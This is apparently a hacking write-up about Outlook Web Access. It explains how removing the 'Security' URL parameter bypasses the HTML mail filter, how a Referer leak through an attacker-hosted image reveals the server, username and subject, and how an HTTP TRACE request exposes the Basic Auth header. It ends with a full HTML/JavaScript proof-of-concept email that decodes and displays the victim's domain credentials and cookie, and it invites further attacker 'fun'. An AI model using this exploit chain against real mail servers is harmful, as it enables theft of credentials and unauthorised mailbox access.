InfoHacking

With OWA you can see an HTML formatted e-mail.

To view an e-mail in this way, a user must click on a special link for this purpose in the webmail
interface, and an alert will pop-up warning him of the potential danger of viewing such kind
of content. User must agree to open the HTML formatted mail.

To avoid people executing malicious content in the client browser, the OWA will try to filter the
content of the mail. The URL to view an HTML formatted mail is something like this:

http://<IP_or_name_of_the_server>/exchange/<username>/<inbox_name>/<subject>.EML/
1_multipart/2_text.htm?Security=1

As you can see, there is a parameter called "Security"...
If you make this request without this parameter, the OWA will not apply it's filter engine, and the
code in the body of the message will be sent to the user's browser.

Is it possible to force the user to make such kind of request? Yes, it is.
An attacker can send a mail with a link in the body of the message (links are allowed) wich
exactly points to:

http://<IP_or_name_of_the_server>/exchange/<username>/<inbox_name>/<subject>.EML/
1_multipart/2_text.htm

The information needed to construct the malicious request is:

1) <IP_or_hostname_of_the_server>
2) <username>
3) <subject>

This info can be obtained in the "Referer" header of an HTTP request coming from a link in the
body of a message. The attacker first needs to send to the victim an e-mail with:
<img src="http://<site_of_the_attacker"> (for example).

Once the attacker has all the info, he can build a special HTML formatted mail that will have a
crafted link to trick the user to make this malicious request. The easiest way to exploit this is
to self reference the mail in the link.(Notice that the "subject" of the mail is known by the attacker...
it's just the subject of the mail sent)

So the result is that the victim will receive an e-mail with a link in the body of the message wich
will be pointing to the same message, but without calling the filtering engine.
If the user cliks on the malicious link will open the same message, but this time the embedded
script code will be executed!

OK, that's another XSS..., nothing special,...you can steal cookies, access mailboxes, etc... but
this XSS allows to exploit another security problem in the OWA: low "encryption" of the domain
user credentials. What I'm talking about?

The OWA uses cookies to track the HTTP session, but also uses "Basic Auth" for...
more security? ;-)
Basic Auth is a standard authentication mechanism to access web resources. The major problem
is the lack of security in it's "ecryption": base64. Base64 is an encoding method that can be
reverted "ipso facto".

Can you guess what is encoded in base64 in the "Basic Auth" header of the client request to the
OWA? Yes... the windows domain user's credentials.

To access the "Basic Auth" header, the easiest way is via an http "TRACE" request...and the
IIS (Internet Information Server) by default will allow those kind of requests.

Now we have all the ingredients for cooking a nice exploit :-)

1) OWA XSS Engine filtering bypass
2) Predictable URL's to access messages
3) OWA usually in intranet (I.E. thrusted)
4) Windows User Domain Credentials sent in "Basic Auth" header
5) Client headers access via "TRACE" requests (allowed by default on IIS)

Add rice, Saffron, Shrimps ...to have a nice "typical spanish paella" ;-)

An here you have a proof of concept exploit code:

--------------------------------------------------------------------------------------------

<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.0 Transitional//EN">
<HTML>
<BODY bgColor=#ffffff>
<script type="text/javascript">
var xmlHttp = new ActiveXObject("Microsoft.XMLHTTP")
xmlHttp.open("TRACE", "./", false)

xmlHttp.send()
xmlDoc=xmlHttp.responseText

str1=xmlHttp.responseText

splitString = str1.split("Authorization: Basic ")
str2=splitString[1]

var base64 = [
'A', 'B', 'C', 'D', 'E', 'F', 'G', 'H', // 0 to 7
'I', 'J', 'K', 'L', 'M', 'N', 'O', 'P', // 8 to 15
'Q', 'R', 'S', 'T', 'U', 'V', 'W', 'X', // 16 to 23
'Y', 'Z', 'a', 'b', 'c', 'd', 'e', 'f', // 24 to 31
'g', 'h', 'i', 'j', 'k', 'l', 'm', 'n', // 32 to 39
'o', 'p', 'q', 'r', 's', 't', 'u', 'v', // 40 to 47
'w', 'x', 'y', 'z', '0', '1', '2', '3', // 48 to 55
'4', '5', '6', '7', '8', '9', '+', '/' ]; // 56 to 63

function reverseBase64 () {
var r = new Object();
for (var i = 0; i < 64; i++) {
r[base64[i]] = i;
}
return r;
}

var reversedBase64 = reverseBase64();

function decode (encStr) {
var charCodes = new Array();
var decStr = "";
for (var i = 0; i < encStr.length; i++)
charCodes[i] = reversedBase64[encStr.charAt(i)];
for (var i = 0; i < encStr.length; i += 4) {
var bits24 = ( charCodes [i] & 0xFF ) << 18;
bits24 |= ( charCodes [i + 1] & 0xFF ) << 12;
bits24 |= ( charCodes [i + 2] & 0xFF ) << 6;
bits24 |= ( charCodes [i + 3] & 0xFF ) << 0;
decStr += String.fromCharCode((bits24 & 0xFF0000) >> 16);
if (encStr.charAt(i + 2) != '=') // check for padding character =
decStr += String.fromCharCode((bits24 & 0xFF00) >> 8);
if (encStr.charAt(i + 3) != '=') // check for padding character =
decStr += String.fromCharCode((bits24 & 0xFF) >> 0);
}
return decStr;
}

document.write("Your cookie is: ");
document.write(document.cookie);
document.write("<BR>Your domain credentials are: ")
document.write(decode(str2));

</script>

<DIV><FONT face=Arial size=2><A
href="http://<IP_or_name_of_the_server>/exchange/<username>/<inbox_name>/<subject>.EML/
1_multipart/2_text.htm">http://www.ilikemarijuana.com</A></FONT></DIV></BODY></HTML>

---------------------------------------------------------------------------------------------------------

Warning: this code will print your user credentials in clear text!
For educational purposes, this code will decode and show the user credentials, so please,
DO NOT RUN THIS CODE UNLESS YOU KNOW EXACTLY HOW IT WORKS.

The code above must be sent as the body of an e-mail.

Of course, as always, imagination of the attacker is the only limit... much more fun is possible.